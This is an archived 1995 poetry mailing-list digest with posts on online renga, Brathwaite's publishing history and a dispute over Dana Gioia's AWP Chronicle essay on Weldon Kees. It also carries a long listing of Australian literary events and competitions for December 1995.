> *After being involved with this renga business for awhile, I have realized that it is probably the first truly new form to arise from electronic transmission. This type of collaboration would not be possible in print. Even FEDEXED the time would be prohibitive. Print would also allow too much time for reflection and the responses would be thought over rather than spontaneous and improvisational. When I download a sequence and give it some thought*

> *before uploading and posting I find myself trying too hard to be clever and impress, bizarre as that seems.*
>
> *Am I correct in asserting that it is the first new form?*
>
> *Other participants - do you share my feelings about offline and online responding?*
>
> *Tom*

What about proliferation, branching, versions, no way of knowing what's out there any more... I'm curious about people's take on this, and what really happens.

↑ Index

477. Daniel Bouchard/College/hmco
The (line) break you're seeking
Wed 29 Nov 1995

---

long time gone

    no sorrow

won't be back

    tomorrow

- Charles Alexander

> *hey, man, is that Freedom Rock? Or at least the Allman Brothers?*

[redacted]

↑ Index

478. Charles Alexander
Re: Brathwaite's book
Wed 29 Nov 1995

> *At 8:23 AM 11/29/95, Paul Naylor ok 157602 wrote:*
> *Am I wrong in suspecting that a major academic press would publish a book about Brathwaite in a heartbeat but would not even consider publishing a book by Brathwaite?*
>
> *Sorry to be a pedant again, but didn't Oxfrd do the arrivants?*
>
> *Jordan*

My understanding is that Brathwaite's relationship to Oxford University Press is entirely problematic. Despite the fact that Brathwaite hails from the so-called "Americas," he has been published (& The Arrivants is not the only book) by Oxford University Press in Britain and not by the American division, and distribution in America has been either spotty or none at all. Despite that, Brathwaite has at times tried to get permission for a different, American press to publish those Oxford books in America, and Oxford has not allowed such publications. My information on all this is a few years old, and I can only speculate on the reasons for all this.

I don't know that any major academic press would jump to publish a book about Brathwaite, either -- that would depend more on the author, the approach, and more. I think Brathwaite's formal radicalism, his various techniques which include collage, inventive typography, and more, make him a figure many academics (and, one would imagine, academic presses as well) shy away from, in contrast to, for example, Derek Walcott. This is terribly unfortunate.

charles

↑ Index

479. Aldon L. Nielsen
Poets, Critics, The Academy, AWP,,, aaarrrggghhh
Wed 29 Nov 1995

Maybe this was a backlogged article, but the new AWP Chronicle appears to be wearing the same old clothes --

Here's a cover piece by Dana Gioia which, not content simply to argue that more people should read and study Weldon Kees, has to enlist the possibly dead white male in Gioia's battle with THE CRITICS -- straw men (and women) falling all over the page here --

Thesis is as follows: "The current literary reputation of Weldon Kees is both paradoxical and exemplary. It presents a paradox in that his work is held in high esteem by poets, especially younger ones, while it remains virtually unknown to academic critics."

Now, we could simply reverse this if we were trying to be cute. We could point to a number of "academic critics" who have championed Kees, then take a survey among our MFA students "proving" that few younger poets have ever heard of Kees --

But more to the point, in order to make his point, Gioia has to engage in any number of tactics that should have been questioned by an editor. To make the divide between poets and critics that he wishes to make, he has to define all poets who write criticism as "poets" in opposition to, I suppose, critics who do

not publish verse. Most of the poets he credits for having written on Kees have published even more criticism than I have (though much of it, in the case of Nemerov or Simpson is pretty damned bad "academic" criticism).

Then, Gioia supresses critical work that's easily identified with a quick trip to the MLA CD Rom -- Gioia has no problem locating the 1979 special issue of Stanford's _Sequoia_ devoted to Kees and edited by Ted Gioia, perhaps because it's on his own shelf -- Dana has an essay in that issue. He goes on to state that William T. Ross's 1985 Twayne book on Kees is "still the only critical study devoted to the author."

Well, there is a whole freaking dissertation on Kees by Robert James Niemi (1991), and much of Niemi's work on Kees has appeared in print, including his bibliographic checklist and his article on Kees & "Little Gidding" -- I suppose that if Niemi has written a poem Gioia will explain that he's really a poet, not a critic -- Gioia notes that "the one academic scholar who had consistently championed Kees," Robert Knoll, has published Kees's letters, and that "poet" James Reidel later edited Kees's novel and his reviews and essays. But Gioia leaves out Jim Elledge's Scarecrow Press volume _Weldon Kees: A Critical Introduction_, which includes work by Niemi and Reidel. There was also an article by Raymond Nelson (mostly biographical) that appeared in _American Literary History_ --

In fact, this is the typical pattern of studies that appear not too long after a poet's death or disappearance: first we get a flood of "appreciations," then things like Twayne books and biograhpical studies, and later we begin to get dissertations and critical studies -- This lies behind Gioia's remark that "A skeptical reader needs to appreciate the sheer mass of Kees's supporters before turning to the paucity of attention paid by academic critics." The same could be said of Lorine Niedecker, or Charles Reznikof, or Robert Hayden, or Bob Kaufman, or , back some years, lord help us, Randall Jarrell. It has nothing to do with, as Gioia insists on putting it, "The disparity between the legion of imaginative writers who admire Kees's work and the paucity of academic interest," which paucity is supposed to demonstrate "that there is something now oddly out of joint between the worlds of poets and literary critics."

Whenever someone tells me, as Gioia does, that "The facts speak for themselves," I start looking for facts that have been left out or altered. Whenever somebody tells me, as Gioia does, that "It would be pointless to list the many critical studies in which Kees does not appear," I make a point of looking for the critical studies the author doesn't want to point me toward.

Instead of writing a useful critical appraisal of Kees that might lead more readers to his work, Gioia is bent upon bending the facts to support his insupportable rhetorical question: "if today's theory-obsessed scholars actually

read Kees, would they even recognize the exceptional quality to which legions of poets have testifed."

There we have what seems to be the AWP party line, to borrow a phrase from Alfred Corn, even under the new dispensation. "Imaginative writers" versus the "theory obsessed."

This is not just tiresome, it fosters continued animosity and divisions that have been built around falsehoods -- There is plenty for us to argue about in the work of Weldon Kees -- Gioia doe not want to have that argument -- Would he really be any happier if we had a sudden spurt of deconstructive readings of Kees, or new historicist recontextualizings, or queer theory explications, or cultural studies (what kind of car did Kees leave at Golden Gate Bridge?!? hmmmm) -- I don't think so --

It is clear to me that nobody on the staff of the AWP chronicle cares about checking their author's assertions -- unless those assertions contest this continued campaign that I can only call modern day know-nothingism --

Look, there have always been people who wrote both criticism and poetry,,, There have always been poets who thought deeply about the philosophical questions raised in the writing of poetry -- there have always been poets who engaged in theory -- None of this has much to do with the institutional divisions of labor and reward that the AWP membership has good reason to be concerned about --

I've gone on too long for those on the list paying to page through all this, but y'all get my drift, no?

↑ Index

480. **Joe Amato**

Re: The break you're seeking

Wed 29 Nov 1995

---

re cary nelson, and to set aside his scholarship for a sec: he's got an *excellent* piece in the newest issue of _academe_ (published by aaup), "lessons from the job wars"... he really hits the nail on the head regarding the present postsecondary state of affairs, and he offers a provocative "twelve-step program" of reform... also a few other nice pieces by michael berube, stephen watt and others... check it out///

joe

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481. **Jordan Davis**
Re: Poetics of renga
Wed 29 Nov 1995

> *What about proliferation, branching, versions, no way of knowing what's out there any more... I'm curious about people's take on this, and what really happens.*

___
Judy,
hi,
the whole thing broke open one day
when G Welford sent over 100 posts at once

since then we've all been sending huge doses of renga
catching up as many threads as possible

some threads have turned into couplets
some quatrains

Cris and Tom have compiled versions
I've rewritten a couple

Maria D and Cris C took time off and came back
I know this isn't what you're asking

but I think Gaby's making a movie of it
Jordan

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482. **Gwyn McVay**
Re: Poets, Critics, The Academy, AWP,,, aaarrrggghhh
Wed 29 Nov 1995

Dear Aldon,

There ain't no AWP party line. We all have our own phone extensions here.

In all seriousness, I, too, was provoked by some of the assertions Gioia makes about the "theory-obsessed" vs. "imaginative" writers. But consider the source. We're talking here about a writer who has gone so far into what some might call self-parody that he is better known for his meta-poetics--simply *being* a New Formalist--than any book or work he might actually have written.

Realize, too, that Gioia's article and his by-blows and cheap-shots *don't necessarily reflect* the opinions of the AWP office, board of directors, or member programs. That little bitty disclaimer on the masthead on page 2 really means what it says. We published Gioia's article not because it reflects any way

any group of people necessarily feels about "creative" writing vs. theory, or anything else for that matter, but because it does focus some attention on a writer who--despite the excellent dissertations & other material you refer to--is still not as well known or as widely read as he might be.

Personally, I'd love it if you laid out the points made in your e-mail and sent it to us as a Letter to the Editor.

Yrs etc,
Gwyn McVay

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483. Eryque Gleason
Re: Question
Wed 29 Nov 1995

> *No one really did ever answer the question about how one knows if one is a poet.*
>
> *Tom Kirby-Smith*
> *Concerned Citizen*
>
> *One writes poems.*
>
> *Mike*
> [redacted]

who gets to judge what's a poem?

-the bailiff

↑ Index

484. Mark Roberts
AWOL. December Happenings 1/2
Wed 29 Nov 1995

DECEMBER Happenings

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is also setting up a virtual bookshop for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) that will pre/review new publications. These titles will then be able to be ordered by mail or fax. Associated with our

Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au:80/danny/books/AWOL/ then click on Australian Writing OnLine.

How to receive AWOL postings

Internet

All AWOL postings, including the monthly Happenings list, one off posts about special events, the latest literary magazines and small press books, together with information about AWOL's Virtual Bookshop, are available free to subscribers with an internet address. Simply send a post, asking to be added to our mailing list, to [redacted].

Mail

Each month AWOL will post a hard copy of that month's Happenings list, together with a copy of all special posts, to AWOL subscribers. While we are setting up our Virtual Bookshop there will be a introductory charge of $12.50 (for six months) to cover postage and printing costs (rates will be reviewed early in 1996). Please send cheques, made payable to Rochford Press, to AWOL, PO Box 333, Concord NSW 2137 (overseas rates on application).

Fax

Subscribers in the 02 telephone area can elect to have the monthly Happenings list and special posts faxed to them for $5.00 for six months. Please send cheques, made payable to Rochford Press to AWOL, PO Box 333, Concord NSW 2137. Subscribers outside the 02 area should contact us for individual fax rates.

Advertise in HAPPENINGS

Funded magazines, publishers and organisations - $35.00 1/4 page, $55.00 1/2 page and $80.00 full page. Non funded magazines, publishers and organisations $25.00 1/4 page, $45.00 1/2 page and $70 full page. If you publish a regular magazine or newsletter we can exchange adds for no charge. In the near future we will also be able to conduct internet publicity for your event or publication. Contact AWOL for further details.

ACT

Writers Workshops. The ACT Writers Centre conducts regular writing workshops. For further information conact the ACTWC at Griffith Library, Blaxland Crescent ACT 2603 or phone (06) [redacted] or (06) [redacted].

3rd Monday ACT FAW meets 8pm Studio Room, Griffin Centre, Civic. Details Phone (06) [redacted].

The Natioal Library of Australia is running a children's holiday program. Details phone (06) [redacted].

NSW

SYDNEY

Sunday 3 December 4.30pm at the Lizard Lounge, Exchange Hotel, 34 Oxford Street Darlinghurst. BlackWattle Press book launch. Denis Watkins will launch Phillip Scott's new novel One Dead Diva . Miss Caroline Clark will alos appear. Details phone BlacWattle Press on (02) [redacted].

4 December Women in Publishing Christams Party 6pm for 7pm start. Australian Muesum 4th floor. Detals Carol Dettmann (02) [redacted].

Friday 15 December 7pm Inklings journal celebrates its 3rd Christmas & its 5th issue with a 'Reading at the Beach". Ravesi's Hotel, Cnr Campbell Pde & Hall Stteet Bondi Beach. $6/$3.50 Munchies included.

Every Thursday Writers Anonymous at Tap Gallery level 1 278 Palmer Street Darlinghurst. Details phone/fax [redacted]

Every Monday 7pm Monday Night Live, comedy, drama, dance, poetry, music, monologue and mime. At the Blue Fox Bar 274 Victoria Street Darlinghurst (opposite the fire station). Details phone Christo (02)[redacted] or Leslie (02) [redacted].

Every second Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted]

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5.. Details phone (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

Every Tuesday night THE WALLS HAVE EARS 8.30 till late. Upstairs at the Little West Cafe 346 Liverpool Street Darlinghurst. Details Clare McGregor (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

1st Tuesday...ICEBREAKERS GAY POETRY 8pm, 197 Albion Street Surry Hills. $2 includes free coffee. Details phone Noel Tointon (02) 3172257.

2nd & 4th Thursday...FRESH WORDS 7.30pm The Poets Union on Oxford Street, Berkelouw Books, 19 Oxford Street Paddington. Guests and open section. Phone Anna (02) [redacted] or 015 704 364 or Nick Sykes (02) [redacted].

3rd Sunday 2 - 4pm INTERLUDES at the Lethington Community Centre 133 Smith Street Summer Hills. Poets, musicians and storytellers. December reading will be held on 17 December Details ph Joye Dempsey (02) [redacted]

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

28 December 8pm Writers at the River, Roscoes Riverside Restaurant, Penrith, NSW. Theme 'After the ball' pre New Years Party rehersal. Open Section included. Details contact Carl Leddy (047) 21 2087.

DECEMBER AT ARIEL BOOKSELLERS

3 December 2-3pm Penelope Sachs, herbalist and naturopath

7 December 6.30pm Anne Fairbairn An Australian Conference of the Birds (Black Pepper Press) will be launched by Keith Owen of the Dept. of Immigration & Ethnic Affairs. Speakers, readingsand music including Mohammad Nabi Tavellaie and Mohammad Nemarzadeh.

17 December 3pm Appearance by Medievalist and musican Stevie Wishart to promote her CDs.

19 December 6pm Barry Humphries will discuss his new novel Women in the Background (Reed Books). The novel will be briefly discussed by (another) special guest and Barry will sign copies. RSVP to Ariel. Refreshments will be served.

Ariel Booksellers is at 42 Oxford Street Paddington. Phone (02) [redacted], fax (02) [redacted].

DECEMBER AT GLEEBOOKS

There are no literary events planned for December at Gleebooks. Stay turned for thir January program.

Gleebooks is at 49 Glebe Point Road Glebe. For details and bookings for all events ph (02) 6602333.

1996 events

Sunday 14 January 1996 BaBel Ariel Booksellers and the Sydney Fringe Festival present: BaBel - the Fringe Writers Festival. Located at the refurbished Paddington Town Hall, the festival will bring you a whole day packed with readings and discussions, poetics and publishers, book launches, CD ROM, poetry software, visual text, small press and 'zines, the Ern malley Memorial Bar and much more. The festival will focus on writing which exists in the margins and on the fringe and which is mostly quitehappy to be there - providing a rich and fertile ground for our literature. Guest will include John A Scott, Tom Flood, berni janssen, Paul Kelly, UWS students and many more performance poets, authors, publishers and bibliophiles. Launches include that of Sabrina Achilles first novel Waste. For further details contact Lisa herbert on (02) 3324581.

Wednesday 24 January 1996, at 6 pm in the Dixon Room, State Library of New South Wales. Launch of Yasmine Gooneratne's new novel The Pleasures of Conquest will be launched by Michael Wilding with readings from the novel by David Ritchie, Pauline Gunawardene and David Baldwin.

23 - 28 January 1996 - 1996 Sydney Writers' Festival

Hailed as the major literary event in NSW, the Sydney Writers' Festival is held in association with the Sydney Festival and the State Library of NSW. Programmed events include author profiles, readings, film screenings, discussion sessions, book launches, literary feasts, research tours, master classes, special events and activities for young people.

Internatiional writers include: Walter Mosley, David Guterson, Barbara Kingsolver, Terry Pratchett, Romesh Gunesekera, Alison Fell, Evelyn Lau, Peter Matthiessen, Ko Un and the Nuyorican Poets Cafe Live. Australian writers include: Dorothy Porter, Amy Witting, Peter Singer, Geraldine Brooks, Jenny Pausacker, Hanifa Deen, Morris West, Frank Moorhouse, Yasmine Gooneratne, Anne summers, Jill Kitson, David Marr, Hazel Hawke, Herb Wharton, Justine Ettler, Arlene Chai, Fiona Capp, Rosie Cross, Linda Jaivin, Gary Dunne and many more.

The Sydney Writers' Festival hotline will be in operation from mid-December. People requiring information about the Writers' Festival can call (02) [redacted] or fax (02) [redacted] for details.

NSW WRITERS' CENTRE EVENTS

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

TECHNIQUES OF JOURNAL WRITING WITH ANGELIKA FREMD. Sat 2 and Sat 9 December 9.30 am to 5pm. This workshop will aim to acquaint participants with techniques of journal writing which will allow recorded material to be mined for use in autobiographical fiction writing. Cost $120 (members) $150 (non members). Details and bookings (02) [redacted].

The NSW Writers' Centre Christmas Party Thursday 14 December 6pm. Entry free, refreshments provided, surprise entertainment. Bookings absolutely necessary. Phone Anna on (02) [redacted] by 12 December.

Unless otherwise stated all NSWWC events are held at the centre in Rozelle Hospital grounds (enter from Balmain Road opposite Cecily Street and follow the signs).

REGIONAL NSW

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

MULLUMBIMBY second Saturday morning ofthe month 10am - noon. POWEM women's workshop. Mayor's room upstairs, opposite RSL Club, Dalley Street Mullumbimby. Contact Philmoena Scheehan (066) 80 1006.

NEWCASTLE / HUNTER VALLEY

3rd Monday... Poetry at the Pub. Northern Star Hotel, 7.30pm Beaumont Street Newcastle Street $2/$1. Details phone Bill Iden (049) 675 972

MAITLAND Poetry group 4th Friday 7.30, Literary Institute in Banks Street East Maitland. $2. Details phone Bruce Copping (049) 301497.

KANGAROO VALLEY Last Friday...Writers in the Valley "music .poetry and social interaction in Kangeroo Valley". For details on venue and times ring Diana Jaffray on (044) 651 334

BLUE MOUNTAINS Friday Nights at Varuna Writers' Centre 7.30pm: Includes tea, coffee & biscuits. $2 buys entry and a lucky door ticket. Varuna Writers' Centre, 141 Cascade Street Katoomba NSW 2780. Details ph Peter Bishop (047) 825 674.

WAUCHOPE Second Sunday 3pm Poets in the pub, readings performances & music at the Star Hotel, organised with 2WAY FM and taped for Broadcast. Details P Denton (065) 85 93929 or Trevor Corliss (065) 84 8023.

WAGGA WAGGA

The next reading in Wagga will take place on the 5th March 1996

Enquiries: David Gilbey (069 332465)

SOUTH AUSTRALIA

ADELAIDE

7 December Friendly Street Readings at the the Box factory, Little Regent Street South Adelaide 7.30pm. Readers include David Cookson, Emma Sleth And Rory Harris. There wil also be a Christmas book sale. Details phone Stephen Lawrence (08) [redacted] or Gail Murdoch (08) 2728189.

2nd & 4th Tuesday Poets in the Pub The Governor Hindmarsh Hotel 59 Port Road 8pm. Open readings. Details phone Barry McKee (08) [redacted].

Every Friday Interactive Port O'Call opposite Johnny Rockets at the rear of 281 Rundle Street. 8.30pm. Open reading. Free. Details phone (08) 2236113.

3rd Thursday Salisbury Writers Meetings at the Salisbury Central Library 6.30-8.30pm. Visitors and new members welcome. Details phone (08) [redacted].

March 3-8, 1996 The Telstra Adelaide Festival 96 Writers Week will present Writer's Week In The Writers' Week Tents, Pioneer Women's Memorial Gardens.

Featuring. Overseas Writers: Fred d'Aguiar, Vikram Chandra, Adrian Edmondson, Jostein Gaarder, Sue Grafton, Amin Maalouf, E. Annie Proulx, Giorgios Heimonas, Philip Jeyaretnam, Barbara Trapido, Malcolm Bradbury, J. M. Coetzee, James Elroy, Jane Garden, Josephine Hart, Michael Ignatieff, Barry Lopez, Paul Muldoon, Rupert Thomson, Vassilis Vassilikos. Australian Writers: Ken Bolton, Kaz Cooke, Liam Davison, Sara Dowse, Fotini Epanomitis, Steve Evans, John Forbes, Kate Grenville, Marian Halligan, Colin Hope, Gail Jones, Mike Ladd, Peter McFarlane, John Marsden, Stephen Mueke, Dorothy Porter, Matt Rubinstein, Trevor Sykes, Glenys Ward, Ben Winch, Tim Winton, Lily Brett, Evelyn Crawford, Bruce Dawe, Philip Drew, Susan Errington, Tim Flannery, Pene Greet, Rodney Hall, Christine Harris, John Jenkins, Antigone Kefala, Cath Kenneally, Maureen McCarthy, Humphrey McQueen, Meahgan Morris, Neil Paech, Gillian Rubinstein, Kim Scott, Ania Walwicz, Herb Wharton, Keith Windshuttle, Amy Witting. A detailed program ofevents with information on all sessions and participating writers and speakers will be available a month before the Festival. Copies of the Writer's Week Program Guide can be reserved by sending your name and address with a cheque or money order for $8:00

(payable to The Adelaide Festival) to: Writer's Week Program Guide, GPO Box 1269, Adelaide, SA. 5001, Australia.

Writers' Centre SA Events

Every 2nd Wednesday 10am. City Scribes writers group meet at the Writers' Centre. Details phone Jenny (08) 2948602 or Jeanne (08) [redacted].

Every 2nd Wednesday 7.30pm Children's Writers Group meets at the Writers' Centre. This is a discussion group for active children's writers. Details phone Jeri Kroll (08) 269627.

Unless otherwise stated all Writers' Centre of South Australia events are held at the Centre 187 Rundle Street Adelaide. Details phone Mary Combe (08 [redacted], fax (07) [redacted],

REGIONAL SOUTH AUSTRALIA

Last Sunday of the month 2pm Gawler Poetry at the Railway Family Hotel, corner 18th and 15th Streets Gawler. Open Readings. Free Details phone Martin Johnson (085) 224268.

Every second Monday Yankalilla District Writers' Group meets from 9.30pm at the RSL Hall Main Road Normanville. Details phone Claire Brooks (085) 582294.

QUEENSLAND

Wordsmith Cafe Readings. There will be no reading at Wordsmiths in December. The next event will be a book signing by Terry Pratchett on Monday 22 January 1996 between 1 & 2 pm. Wordsmiths - The Writers Cafe is located adjacent to the University Bookshop, Staff House Road, St Lucia. Details Helen Wood Grant ph (07) 3652168, Fax (07) 3651977.

Every Tuesday Bombshelter Bar Story Bridge Hotel Brisbane Writers SLAM Guest speakers, word games, literary quizzes - win cash and prizes. $3. Details Phone Bernie (07) 3378 0341.

Every second Monday 1.30pm at West End Community House, 4 Norfolk Road South Brisbane. A new literary and creative writing group has been set up to talk about literature, to read your own work and receive feedback. Writers from non English speaking backgrounds are particularly welcome. Details Barbara Damska (07) 3844 0091.

Writers in Townsville meets every Wednesday at 7.30pm at the Migrant Resource Centre Walker Street. Readings of manuscripts, guest speakers etc. Details Yvonne (077) 71 2585. PO Box 5101 MSO Townsville Qld 4810

Queensland Writers Centre Events

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

Crime Writers group is looking for new members to meet at the QWC. Details phone Pat Noad (07) 3397 0431.

Queensland Writers Centre Christmas Party 15 December 7pm. Featuring Mary-Rose MacColl, Gregory Rogers & David McCartney. $12 QWC members, $15 non-members. Bookings essential. Contact QWC for details.

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE..... HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members 0r $15 plus $1.50 for non members. For more information contact the QWC.

VICTORIA

8 December New Spinfex Poets booklaunch The new double collection The Body in Time by Diane Fahey and Nervous Arcs by Jordie Albiston will be launched at the Victorian Writers' Centre 1st floor, 144-156 George Street, Fitzroy Vic 3065. Details contact VWC on. Ph 03 9415 1077

Last Friday 6.30pm MELBOURNE POETS Meeting and reading/workshop The Hawthorn Lower Town Hall, 360 Burwood Road, Hawthorn (entry and car parking at rear). 6.30pm meeting begins, 7.30pm reading/ workshop begins. Cost $3 (Members), $5 (non members). Details write to Martin French 1/16 Kent Road Surrey Hills Vic 3127.

3rd Sunday each month; 2pm Readings at the Eaglemont Bookshop 525 Brunswick St North Fitzroy. These readings apparently have been a little irregular over recent months so contact Shelton Lea ph (03) 4863219 to confirm.

La Mama Poetica La Mama 205 Faraday St Carlton. For details on December reading contact Catherine Bateson Phone (054) 221680

December 1-3, Montsalvat National Poets, Spoken Word and Vision Festival:

The Festival will feature print poets, oral poets, performance poets, visual poets, multicultural poets, Queensland poets, bush poets, concrete poets, sound poets and computer poets and will take place at Montsalvat in Eltham. The Festival will begin with a Grand Opening on Friday 1st Dec at 7.30 pm. 'Polonius Press poets' Kathy Kituai, Dorothy Shaw, Russell Erwin, Robert Verdon, Lizz Murphy, and Danielle Stewart together with other Canberra poets Francesca Rendle-Short, Geoff Page, Alan Gould and Lynn Hard will be reading on Saturday. Tickets are available at Montsalvat Ph (03) 9439 7712 and

Collected Works Bookshop Ph (03) 9654 8873 Weekend ticket costs $35, Day ticket $15 ($10 conc), Family ticket $25.

WESTERN AUSTRALIA

DISK READINGS are held on the Third Tuesday of each month at Pockets Cocktail Lounge 44 Lark Street Northbridge. Admission is free. Details Mike Shuttleworth ph. (09) 4304991.

** ** **

The Katherine Susannah Prichard Writer's Centre, at 11 Old York Rd Greenmount, is perched on the side of the Darling Range, looking towards the towers of Perth and the setting sun. It is surrounded by National Park and the developing suburbs of the Hills district. The place is small and friendly and the kettle is nearly always on the boil.

The Centre holds readings on the first Sunday of the month at 7.30pm. Three invited readers are featured. Cost is $5/$4 and includes light refreshments. Faye Davis is currently writer-in-community working on a project called 'Writing in the Hills' Changes'. She is running moderately priced ($3.50 a session) workshops in the district, and is available for consultation at the house by appointment. (this project is supported by the Australia Council).

The house itself, former home of Katherine Susannah Prichard, is heritage listed and tours cost $5. Wednesday and Sunday are tour days. Ring first to book. A small writer's studio, once used by Katherine, is now used by writers-in-residence. The KSP Foundation, the Centre's management body, is currently investigating the possibility of letting the Studio on a short term basis to writers from the city, country and/or interstate.

Ring Rob Finlayson, the co-ordinator, on Thursdays, between 10.30am and 5.30pm (09) [redacted]., to chat about writing and writers, and to find out what's happening in the Hills of Perth and the sunburnt city at their feet. At other times ring the Chairperson, Rose van Scon (09) [redacted].

Fremantle Arts Centre Press's has a WWW web site: http://www.iinet.net.au/~bryce/facp.html. The page includes details of up-coming titles, a full backlist catalogue, and listings of recent books, updated regularly.

TASMANIA

14 December 5.30pmThe Famous Reporter 12 will be launched by Pete Hay at Hobart Bookshop 29 Criterion Street Hobart. There will also be a short reading compered by Elizabeth Dean. Light refreshments provided. Details ph (002) 349654.

14-17 March 1996 Salamanca Writer Festival. Presented by TWU, the University of Tasmania and the Salamanca Arts Centre. Program includes Young Writers and Readers Festival, and Fringe events. Details phone Subi (002) 384 414, Marjorie (002) 344 384 or Fiona (002) 240 029.

NORTHERN TERRITORY

Darwin

Saturday 9 December 10am-4pm The 3,000 words, 3 billion possibilities Short Story Writing Workshop at the Frog Hollow Centre for the Arts. 56 McMinn Street Darwin.

Award winning Darwin writer Wolfgang Wirf will be conducting this short story writing workshop. It will give participants a chance to set part of the agenda. So bring your questions and ideas, your insights and your problems. Topics to be workshopped include mastering short story techniques, using the right words, the soul o the story, sentances - limp or strong, symbolism, characterisation, voice and getting started.

Cost $10 & bring your own lunch. Tea/coffee provided. Details phone/fax Northern Territory Community Writing Program (089) 412651

For further information about any of these events contact Andrew McMillan, Literature Officer, Northern Territory Community Writing Program GPO Box 1774 Darwin NT 0801, phone/fax (089) 412651.

Darwin Fellowship of Australian Writers conducts monthly meetings/workshops. Details Matthew Lonsdale ph (089) 278133, PO Box 37512
Winnellie NT 0821.

Katherine

Katherine Writers" Guild conducts regular workshops, meetings, recitals and produces a regular newsletter. $5 joining fee, $20 a year (conc half price). Details Lori Martin PO Box 2155 Katherine NT 0851.

Alice Springs

2nd & 4 Tuesday Alice Springs Fellowsip of Australian Writers meetings at the YWCA on Stuart Terrace. Details contact Meg Williams PO Box 1783 Alice Springs NT 0871.

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485. **Mark Roberts**

AWOL: December Happenings 2/2

Wed 29 Nov 1995

COMPETITIONS

8 DECEMBER INAUGURAL CALAMBEEN LITERARY COMPETITION Prizes of $100 and $50 will be awarded for the categories of poetry and short stories. There is also a $50 prize for poetry with a celebratory theme and $50 for a Haiku. $3 entry fee. Send SAAE to the Co-ordinator, PO Box 35, Creswick VIC 3363.

15 December Queensland Arts Council/Everald Compton New Writer Scholarship This will be awarded to a regional new writer who through portofolio, previous publication and project plan can satisfy the assessors that they would benefit professionally from athree week writing retreat at VarunaWriters Centre at Katoomba in the Blue Mountains. An administrative fee of $5 applies . Details contact the Queensland Arts Council phone (07) 3846 7500.

31 DECEMBER TOM COLLINS POETRY PRIZE
This prize is for unpublished poems up to 60 lines. 1st prize $500. For details send SSAE to 15 Birch Street Attadale WA 6156

31 DECEMBER REPUBLIC PRIZE A prize of $1,000 will be awarded to the writer of a work of fiction, poetry, biography, memoir or history published in 1995 which expresses the aims of the Republic. Details: GPO Box 5150 Sydney 2001.

31 DECEMBER CLIFF STREET PUBLISHING seeks fiction submissions over 25,000 words by one writer. The writing submitted can be either a complete work of fiction or a collection of short stories. Send MS and SSAE to The Editor, FICTION, Cliff Street Publishing, 22/11 Cliff St, Fremantle WA 6160.

NOVEMBER 95 TO JANUARY 96 AUSWRITE SHORT STORY COMPETITION Entries will be accepted from November to January with results published in March 1995. (No details provided on prizes). $5 entry fee per story. Limit 2,000 words. For details and entry forms contact Auswrite, PO Box 327 Mascot NSW 2020.

10 FEBRUARY: TOP DOG JOURNAL ANNUAL SHORT STORY & POETRY COMPETITION. Short story to 1200 words, poems to A4 length. Must be about dogs. Attach signed statement: 'I am happy for this entry to be published should it receive an award in the Top Dog Journal'. State age if under 21. Top Dog Journal, PO Box 29, Berwick Vic 3806.

TASMANIAN TRADES AND LABOUR COUNCIL 1996 MAY DAY SHORT STORY COMPETITION "Working lives' For details and entry forms contact Chris Trousselot (002) 287 866).

CONFERENCES

BECOMING AUSTRALIANS: THE MOVEMENT TOWARDS FEDERATION IN BALLARAT AND THE NATION

December 1 and 2, 1995 Ballarat. Presented by the Australian Studies Team University of Ballarat

Combining national with regional perspectives, this conference promises to provide new insights into the social and political forces which influenced the development of a sense of 'being Australians' in the years leading up to and immediately following federation.

Organized by the Australian Studies Team at the University of Ballarat, the conference aims to elucidate the many aspects of what it meant to be Australian during this period, and how this in turn influenced the progress of the federation movement.

The value and relevance of these historical concerns will be related to current debates regarding citizenship, republicanism and Australian political and cultural awareness.

